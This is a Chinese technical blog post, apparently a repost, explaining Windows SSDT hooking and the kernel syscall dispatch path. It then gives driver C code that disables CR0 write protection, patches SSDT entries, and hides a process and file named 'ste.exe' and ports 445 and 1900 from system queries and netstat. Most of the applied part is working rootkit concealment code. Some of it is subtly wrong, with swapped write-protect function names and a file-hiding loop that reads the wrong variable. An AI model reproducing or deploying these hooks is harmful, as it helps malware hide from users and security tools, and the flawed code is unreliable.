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SSDT Hook技术详解与应用
一、SSDT简介
1、什么是SSDT
SSDT 的全称是 System Services Descriptor Table,系统服务描述符表。这个表就是一个把 Ring3 的 Win32 API 和 Ring0 的内核 API 联系起来。SSDT 并不仅仅只包含一个庞大的地址索引表,它还包含着一些其它有用的信息,诸如地址索引的基地址、服务函数个数等。通过修改此表的函数地址可以对常用 Windows 函数及 API 进行 Hook,从而实现对一些关心的系统动作进行过滤、监控的目的。一些 HIPS、防毒软件、系统监控、注册表监控软件往往会采用此接口来实现自己的监控模块。
在 NT 4.0 以上的 Windows 操作系统中,默认就存在两个系统服务描述表,这两个调度表对应了两类不同的系统服务,这两个调度表为:KeServiceDescriptorTable 和 KeServiceDescriptorTableShadow,其中 KeServiceDescriptorTable 主要是处理来自 Ring3 层得 Kernel32.dll 中的系统调用,而 KeServiceDescriptorTableShadow 则主要处理来自 User32.dll 和 GDI32.dll 中的系统调用,并且 KeServiceDescriptorTable 在 ntoskrnl.exe(Windows 操作系统内核文件,包括内核和执行体层)是导出的,而 KeServiceDescriptorTableShadow 则是没有被 Windows 操作系统所导出,而关于 SSDT 的全部内容则都是通过 KeServiceDescriptorTable 来完成的。
2、SSDT结构
下图是IDA分析的ntoskrnl.exe中导出的KeServiceDescriptorTable 结构。
下面是KeServiceDescriptorTable 的具体含义。
~~~c++
typedef struct _KSYSTEM_SERVICE_TABLE{
PULONG ServiceTableBase; // SSDT (System Service Dispatch Table)的基地址
PULONG ServiceCounterTableBase; // 用于 checked builds, 包含 SSDT 中每个服务被调用的次数
ULONG NumberOfService; // 服务函数的个数, NumberOfService * 4 就是整个地址表的大小
ULONG ParamTableBase; // SSPT(System Service Parameter Table)的基地址
} KSYSTEM_SERVICE_TABLE, *PKSYSTEM_SERVICE_TABLE;
有了上面的介绍后,我们可以简单的将 KeServiceDescriptor 看做是一个数组了(其实质也就是个数组),**在应用层 ntdll.dll 中的 API 在这个系统服务描述表(SSDT)中都存在一个与之相对应的服务,当我们的应用程序调用 ntdll.dll 中的 API 时,最终会调用内核中与之相对应的系统服务,由于有了 SSDT,所以我们只需要告诉内核需要调用的服务所在 SSDT 中的索引就 OK 了,然后内核根据这个索引值就可以在 SSDT 中找到相对应的服务了,然后再由内核调用服务完成应用程序 API 的调用请求即可。基本结构可以参考下图:
3、应用层调用 Win32 API 的完整执行流程
有了上面的 SSDT 基础后,我们再来看一下在应用层调用 Win32 API(这里主要指的是 ntdll.dll 中的 API)的完整流程,这里我们主要是分析 ntdll.dll 中的 NtQuerySystemInformation 这个 API 的调用流程。
(PS:Windows 任务管理器即是通过这个 API 来获取到系统的进程等等信息的)。
再给出这些个 API 的基本的调用流程
实质上,在 Windows 操作系统中,Ntdll.dll 中的ZwQuerySystemInformation 和 NtQuerySystemInformation 是同一函数,可以通过下面的截图看出,这两个函数的入口地址指向同一区域,他们的函数入口地址都是一样的 。
众所周知 Ntdll.dll 中的 API 都只不过是一个简单的包装函数而已,当 Kernel32.dll 中的 API 通过 Ntdll.dll 时,会完成参数的检查,再调用一个中断(int 2Eh 或者 SysEnter 指令),从而实现从 Ring3 进入 Ring0 层,并且将所要调用的服务号(也就是在 SSDT 数组中的索引值)存放到寄存器 EAX 中,并且将参数地址放到指定的寄存器(EDX)中,再将参数复制到内核地址空间中,再根据存放在 EAX 中的索引值来在 SSDT 数组中调用指定的服务 。
下面来看 ntoskrnl.exe 中的 ZwQuerySystemInformation:
在上面的这幅截图中,可以看到在 Ring0 下的 ZwQuerySystemInformation 将 0ADh 放入了寄存器 eax 中,然后调用了系统服务分发函数 KiSystemService,而这个 KiSystemService 函数则是根据 eax 寄存器中的索引值,然后再 SSDT 数组中找到索引值为 eax 寄存器中存放的值得那个 SSDT 项,最后就是根据这个 SSDT 项中所存放的系统服务的地址来调用这个系统服务。比如在这里就是调用 KeServiceDescriptorTable[0ADh] 处所保存的地址所对应的系统服务 。也就是调用 Ring0 下的 NtQuerySystemInformation 了 。至此,在应用层中调用 NtQuerySystemInformation 的全部流程也就结束了 。
二、SSDT Hook原理
1、SSDT Hook原理简介
有了上面的这部分基础后,就可以来看 SSDT HOOK 的原理了,其实 SSDT Hook 的原理是很简单的,从上面的分析中,我们可以知道在 SSDT 这个数组中,保存了系统服务的地址,比如对于 Ring0 下的 NtQuerySystemInformation 这个系统服务的地址,就保存在 KeServiceDescriptorTable[0ADh] 中,既然是 Hook 的话,我们就可以将这个 KeServiceDescriptorTable[0ADh] 下保存的服务地址替换掉,将我们自己的 Hook 处理函数的地址来替换掉原来的地址,这样当每次调用 KeServiceDescriptorTable[0ADh]时就会调用我们自己的这个 Hook 处理函数了。
下面截图是SSDT Hook之前:
下面的截图则是 SSDT Hook 之后,可以看到将 SSDT 中的服务地址修改为 MyHookNtQuerySystemInformation 了,这样的话,每次系统调用 NtQuerySystemInformation 这个系统服务时,实质上调用的就是MyHookNtQuerySystemInformation 了,而我们为了保证系统的稳定性(至少不让其崩溃),一般会在 MyHookNtQuerySystemInformation 中调用系统中原来的服务,也就是 NtQuerySystemInformation。
下面来看一下备份、修改、还原SSDT的具体代码:
//=====================================================================================//
//Name:KSYSTEM_SERVICE_TABLE | KSERVICE_TABLE_DESCRIPTOR 定义 //
// //
//Descripion: 定义SSDT表结构与获取函数索引值和地址的基本方法 //
// //
//=====================================================================================//
typedef struct _KSYSTEM_SERVICE_TABLE
{
PULONG ServiceTableBase; // SSDT (System Service Dispatch Table)的基地址
PULONG ServiceCounterTableBase; // 包含 SSDT 中每个服务被调用的次数
ULONG NumberOfService; // 服务函数的个数, NumberOfService * 4 就是整个地址表的大小
ULONG ParamTableBase; // SSPT(System Service Parameter Table)的基地址
} KSYSTEM_SERVICE_TABLE, *PKSYSTEM_SERVICE_TABLE;
typedef struct _KSERVICE_TABLE_DESCRIPTOR
{
KSYSTEM_SERVICE_TABLE ntoskrnl; // ntoskrnl.exe 的服务函数
KSYSTEM_SERVICE_TABLE win32k; // win32k.sys 的服务函数(GDI32.dll/User32.dll 的内核支持)
KSYSTEM_SERVICE_TABLE notUsed1;
KSYSTEM_SERVICE_TABLE notUsed2;
} KSERVICE_TABLE_DESCRIPTOR, *PKSERVICE_TABLE_DESCRIPTOR;
extern PKSERVICE_TABLE_DESCRIPTOR KeServiceDescriptorTable;
#define SYSCALL_FUNCTION(ServiceFunction) KeServiceDescriptorTable->ntoskrnl.ServiceTableBase[SYSCALL_INDEX(ServiceFunction)]
#define SYSCALL_INDEX(ServiceFunction) (*(PULONG)((PUCHAR)ServiceFunction + 1))
#define MAX_SYSTEM_SERVICE_NUMBER 0x128
//用来保存 SSDT 中所有的旧的服务函数的地址
ULONG oldSysServiceAddr[MAX_SYSTEM_SERVICE_NUMBER];
//=====================================================================================//
//Name: VOID DisableWriteProtect() //
// //
//Descripion: 用来去掉内存的可写属性,从而实现内存只读 //
// //
//=====================================================================================//
VOID DisableWriteProtect(ULONG oldAttr)
{
_asm
{
push eax
mov eax, oldAttr
mov cr0, eax
pop eax
sti;
}
}
//=====================================================================================//
//Name: VOID EnableWriteProtect() //
// //
//Descripion: 用来去掉内存的只读保护,从而实现可以写内存 //
// //
//=====================================================================================//
VOID EnableWriteProtect(PULONG pOldAttr)
{
ULONG uAttr;
_asm
{
cli;
push eax
mov eax, cr0;
mov uAttr, eax;
and eax, 0FFFEFFFFh; // CR0 16 BIT = 0
mov cr0, eax;
pop eax
};
//保存原有的 CRO 属性
*pOldAttr = uAttr;
}
//=====================================================================================//
//Name: VOID BackupSysServicesTable() //
// //
//Descripion: 备份 SSDT 中原有服务的地址,因为在解除 Hook 时需要还原 SSDT 中原有地址 //
// //
//=====================================================================================//
VOID BackupSysServicesTable()
{
ULONG i;
for(i = 0; (i < KeServiceDescriptorTable->ntoskrnl.NumberOfService) && (i < MAX_SYSTEM_SERVICE_NUMBER); i++)
{
oldSysServiceAddr[i] = KeServiceDescriptorTable->ntoskrnl.ServiceTableBase[i];
}
}
//=====================================================================================//
//Name: NTSTATUS InstallSysServiceHook() //
// //
//Descripion: 实现 Hook 的安装,主要是在 SSDT 中将服务地址替换为新服务地址 //
// //
//=====================================================================================//
NTSTATUS InstallSysServiceHook(ULONG oldService, ULONG newService)
{
ULONG uOldAttr = 0;
EnableWriteProtect(&uOldAttr);
SYSCALL_FUNCTION(oldService) = newService;
DisableWriteProtect(uOldAttr);
return STATUS_SUCCESS;
}
//=====================================================================================//
//Name: NTSTATUS UnInstallSysServiceHook() //
// //
//Descripion: 实现 Hook 的解除,主要是在 SSDT 中用备份下的服务地址来替换掉 oldService //
// //
//=====================================================================================//
NTSTATUS UnInstallSysServiceHook(ULONG oldService)
{
ULONG uOldAttr = 0;
EnableWriteProtect(&uOldAttr);
SYSCALL_FUNCTION(oldService) = oldSysServiceAddr[SYSCALL_INDEX(oldService)];
DisableWriteProtect(uOldAttr);
return STATUS_SUCCESS;
}
2、进程隐藏与保护
NTSTATUS HookNtQuerySystemInformation (
IN SYSTEM_INFORMATION_CLASS SystemInformationClass,
OUT PVOID SystemInformation,
IN ULONG SystemInformationLength,
OUT PULONG ReturnLength)
{
NTSTATUS rtStatus=STATUS_SUCCESS;
NTQUERYSYSTEMINFORMATION pOldNtQuerySystemInformation = (NTQUERYSYSTEMINFORMATION)oldSysServiceAddr[SYSCALL_INDEX(ZwQuerySystemInformation)];
rtStatus = pOldNtQuerySystemInformation(SystemInformationClass, SystemInformation, SystemInformationLength, ReturnLength);
if(NT_SUCCESS(rtStatus))
{
if(SystemProcessInformation==SystemInformationClass)
{
PSYSTEM_PROCESS_INFORMATION pPrevProcessInfo = NULL;
PSYSTEM_PROCESS_INFORMATION pCurrProcessInfo = (PSYSTEM_PROCESS_INFORMATION)SystemInformation;
UNICODE_STRING hideProcessName;
RtlInitUnicodeString(&hideProcessName,L"ste.exe");
while(pCurrProcessInfo != NULL)
{
//获取当前遍历的 SYSTEM_PROCESS_INFORMATION 节点的进程名称和进程 ID
ULONG uPID = (ULONG)pCurrProcessInfo->ProcessId;
UNICODE_STRING strTmpProcessName;
//RtlInitUnicodeString(&strTmpProcessName,L"");
strTmpProcessName = pCurrProcessInfo->ImageName;
//判断当前遍历的这个进程是否为需要隐藏的进程
if(unicodeStrCmp(hideProcessName,strTmpProcessName,strTmpProcessName.Length))
{
if(pPrevProcessInfo)
{
if(pCurrProcessInfo->NextEntryOffset)
{
//将当前这个进程(即要隐藏的进程)从 SystemInformation 中摘除(更改链表偏移指针实现)
pPrevProcessInfo->NextEntryOffset += pCurrProcessInfo->NextEntryOffset;
}
else
{
//说明当前要隐藏的这个进程是进程链表中的最后一个
pPrevProcessInfo->NextEntryOffset = 0;
}
}
else
{
//第一个遍历到得进程就是需要隐藏的进程
if(pCurrProcessInfo->NextEntryOffset)
(PCHAR)SystemInformation += pCurrProcessInfo->NextEntryOffset;
else
SystemInformation = NULL;
}
}
//遍历下一个 SYSTEM_PROCESS_INFORMATION 节点
pPrevProcessInfo = pCurrProcessInfo;
//遍历结束
if(pCurrProcessInfo->NextEntryOffset)
pCurrProcessInfo = (PSYSTEM_PROCESS_INFORMATION)(((PCHAR)pCurrProcessInfo) + pCurrProcessInfo->NextEntryOffset);
else
pCurrProcessInfo=NULL;
}
}
}
return rtStatus;
}
3、文件隐藏与保护
NTSTATUS HookZwQueryDirectoryFile(
IN HANDLE hFile,
IN HANDLE hEvent,
IN PIO_APC_ROUTINE IoApcRoutine,
IN PVOID IoApcContext,
OUT PIO_STATUS_BLOCK pIoStatusBlock,
OUT PVOID FileInformationBuffer,
IN ULONG FileInformationBufferLength,
IN FILE_INFORMATION_CLASS FileInfoClass,
IN BOOLEAN ReturnOnlyOneEntry,
IN PUNICODE_STRING FileName,
IN BOOLEAN RestartQuery)
{
NTSTATUS ntStatus;
LPFILE_NAMES_INFORMATION fileCurr;
LPFILE_NAMES_INFORMATION filePrev;
PFILE_BOTH_DIR_INFORMATION pFileInfo;
PFILE_BOTH_DIR_INFORMATION pPrevFileInfo;
BOOLEAN lastOne;
ULONG left;
ULONG pos;
WCHAR * hideFileName=L"ste.exe";
ZWQUERYDIRECTORYFILE pOldZwQueryDirectoryFile = (ZWQUERYDIRECTORYFILE)oldSysServiceAddr[SYSCALL_INDEX(ZwQueryDirectoryFile)];
ntStatus=((ZWQUERYDIRECTORYFILE)(pOldZwQueryDirectoryFile))(
hFile,
hEvent,
IoApcRoutine,
IoApcContext,
pIoStatusBlock,
FileInformationBuffer,
FileInformationBufferLength,
FileInfoClass,
ReturnOnlyOneEntry,
FileName,
RestartQuery);
if(!bHideFile)
return ntStatus;
//RtlInitUnicodeString(&hideFileName,L"ste.exe");
if(NT_SUCCESS(ntStatus)&& FileInfoClass==FileBothDirectoryInformation)
{
pFileInfo=(PFILE_BOTH_DIR_INFORMATION)FileInformationBuffer;
pPrevFileInfo=NULL;
do {
lastOne=!(pFileInfo->NextEntryOffset);
//RtlInitUnicodeString(&fileNameWide,pFileInfo->FileName);
if(wcharStrCmp(hideFileName,pFileInfo->FileName,14,pFileInfo->FileNameLength))
{
if(lastOne)
{
if(pFileInfo==(PFILE_BOTH_DIR_INFORMATION)FileInformationBuffer)
ntStatus=0x80000006;
else
pPrevFileInfo->NextEntryOffset=0;
}
else
{
pos=((ULONG)pFileInfo)-((ULONG)FileInformationBuffer);
left=(ULONG)FileInformationBufferLength-pos-pFileInfo->NextEntryOffset;
RtlCopyMemory((PVOID)pFileInfo,(PVOID)((char *)pFileInfo+pFileInfo->NextEntryOffset),(ULONG)left);
continue;
}
}
pPrevFileInfo=pFileInfo;
pFileInfo=(PFILE_BOTH_DIR_INFORMATION)((char *)pFileInfo+pFileInfo->NextEntryOffset);
//fileCurr=(LPFILE_NAMES_INFORMATION)((char *)fileCurr+fileCurr->NextEntryOffset);
} while(!lastOne);
}
if (NT_SUCCESS(ntStatus) && FileInfoClass==FileNamesInformation)
{
fileCurr=(LPFILE_NAMES_INFORMATION)FileInformationBuffer;
do
{
lastOne=!(fileCurr->NextEntryOffset); //取偏移
//fileNameLength=fileCurr->FileNameLength; //取长度
//RtlInitUnicodeString(&fileNameWide,fileCurr->FileName);
if(wcharStrCmp(hideFileName,pFileInfo->FileName,14,pFileInfo->FileNameLength))
{
if(lastOne)
{
if (fileCurr==(LPFILE_NAMES_INFORMATION)FileInformationBuffer)
ntStatus=0x80000006; //隐藏
else
filePrev->NextEntryOffset=0;
}
else
{
//移动文件偏移
pos=((ULONG)fileCurr)-((ULONG)FileInformationBuffer);
left=(ULONG)FileInformationBufferLength-pos-fileCurr->NextEntryOffset;
RtlCopyMemory((PVOID)fileCurr,(PVOID)((char *)fileCurr+fileCurr->NextEntryOffset),(ULONG)left);
continue;
}
}
filePrev=fileCurr;
fileCurr=(LPFILE_NAMES_INFORMATION)((char *)fileCurr+fileCurr->NextEntryOffset);
}
while(!lastOne);
}
return ntStatus;
}
4、端口隐藏
NTSTATUS HookZwDeviceIoControlFile(
IN HANDLE FileHandle,
IN HANDLE Event,
IN PIO_APC_ROUTINE ApcRoutine,
IN PVOID ApcContext,
OUT PIO_STATUS_BLOCK IoStatusBlock,
IN ULONG IoControlCode,
IN PVOID InputBuffer,
IN ULONG InputBufferLength,
OUT PVOID OutputBuffer,
IN ULONG OutputBufferLength)
{
NTSTATUS rtStatus=STATUS_SUCCESS;
TCPAddrEntry* TcpTable;
TCPAddrExEntry* TcpExTable;
UDPAddrEntry* UdpTable;
UDPAddrExEntry* UdpExTable;
ULONG numconn;
ULONG i;
ULONG RetLen;
UCHAR buff[512];
POBJECT_NAME_INFORMATION ObjectName=(PVOID)&buff;
ANSI_STRING ObjectNameAnsi;
PUCHAR InBuff;
ZWDEVICEIOCONTROLFILE pOldZwDeviceIoControlFile = (ZWDEVICEIOCONTROLFILE)oldSysServiceAddr[SYSCALL_INDEX(ZwDeviceIoControlFile)];
rtStatus = ((ZWDEVICEIOCONTROLFILE)(pOldZwDeviceIoControlFile)) (
FileHandle,
Event,
ApcRoutine,
ApcContext,
IoStatusBlock,
IoControlCode,
InputBuffer,
InputBufferLength,
OutputBuffer,
OutputBufferLength);
if(NT_SUCCESS(rtStatus) && IoControlCode==0x120003)//netstat use this IoControlCode
{
if(NT_SUCCESS(ZwQueryObject(FileHandle,ObjectNameInformation,ObjectName,512,&RetLen)))
{
RtlUnicodeStringToAnsiString(&ObjectNameAnsi,&ObjectName->Name,TRUE);
if (_strnicmp(ObjectNameAnsi.Buffer,TCP_PORT_DEVICE,strlen(TCP_PORT_DEVICE))==0)
{
if (((InBuff=(PUCHAR)InputBuffer)==NULL) || (InputBufferLength<17))//InputBuffer is wrong
return rtStatus;
//对于TCP查询,输入缓冲的特征是 InputBuffer[0]为0x00,如果OutputBuffer中已经有了端口数据,则InputBuffer[17]为0x01,
//如果是扩展结 构,则InputBuffer[16]为0x02。对于UDP查询,InputBuffer[0]就为0x01了,InputBuffer[16]和 InputBuffer[17]的值和TCP查询是一样的。
//-------------------------------------------------------TCP----------------------------------------------------------------------------
if ((InBuff[0]==0x00) && (InBuff[17]==0x01)) //TCP端口
{
if (InBuff[16]!=0x02) //非扩展结构
{
numconn = IoStatusBlock->Information/sizeof(TCPAddrEntry);
TcpTable = (TCPAddrEntry*)OutputBuffer;
for( i=0; i<numconn; i++ )
{
if( ntohs(TcpTable[i].tae_ConnLocalPort) == 445 )
{
//DbgPrint("JiurlPortHide: HidePort %d/n", ntohs(TcpTable[i].tae_ConnLocalPort));
memcpy( (TcpTable+i), (TcpTable+i+1), ((numconn-i-1)*sizeof(TCPAddrEntry)) );
numconn--;
i--;
}
}
IoStatusBlock->Information = numconn*sizeof(TCPAddrEntry);
}
if(InBuff[16]==0x02)//扩展结构
{
numconn = IoStatusBlock->Information/sizeof(TCPAddrExEntry);
TcpExTable = (TCPAddrExEntry*)OutputBuffer;
for( i=0; i<numconn; i++ )
{
if( ntohs(TcpExTable[i].tae_ConnLocalPort) == 445 )
if(TcpExTable[i].pid==0)
{
//DbgPrint("JiurlPortHide: HidePort %d/n",ntohs(TcpExTable[i].tae_ConnLocalPort));
memcpy( (TcpExTable+i), (TcpExTable+i+1), ((numconn-i-1)*sizeof(TCPAddrExEntry)) );
numconn--;
i--;
}
}
IoStatusBlock->Information = numconn*sizeof(TCPAddrExEntry);
}
}
//-----------------------------------------------------------UDP---------------------------------------------------------------
if ((InBuff[0]==0x01) && (InBuff[17]==0x01)) //TCP端口
{
if (InBuff[16]!=0x02) //非扩展结构
{
numconn = IoStatusBlock->Information/sizeof(UDPAddrEntry);
UdpTable = (UDPAddrEntry*)OutputBuffer;
for( i=0; i<numconn; i++ )
{
if( ntohs(UdpTable[i].tae_ConnLocalPort) == 1900 )
{
//DbgPrint("JiurlPortHide: HidePort %d/n", ntohs(UdpTable[i].tae_ConnLocalPort));
memcpy( (UdpTable+i), (UdpTable+i+1), ((numconn-i-1)*sizeof(UDPAddrEntry)) );
numconn--;
i--;
}
}
IoStatusBlock->Information = numconn*sizeof(UDPAddrEntry);
}
if(InBuff[16]==0x02)//扩展结构
{
numconn = IoStatusBlock->Information/sizeof(UDPAddrExEntry);
UdpExTable = (UDPAddrExEntry*)OutputBuffer;
for( i=0; i<numconn; i++ )
{
if( ntohs(UdpExTable[i].tae_ConnLocalPort) == 1900 )
{
//DbgPrint("JiurlPortHide: HidePort %d/n",ntohs(UdpExTable[i].tae_ConnLocalPort));
memcpy( (UdpExTable+i), (UdpExTable+i+1), ((numconn-i-1)*sizeof(UDPAddrExEntry)) );
numconn--;
i--;
}
}
IoStatusBlock->Information = numconn*sizeof(UDPAddrExEntry);
}
}
}
}
}
return rtStatus;
}
发布者:全栈程序员-用户IM,转载请注明出处:https://javaforall.cn/206648.html原文链接:https://javaforall.cn
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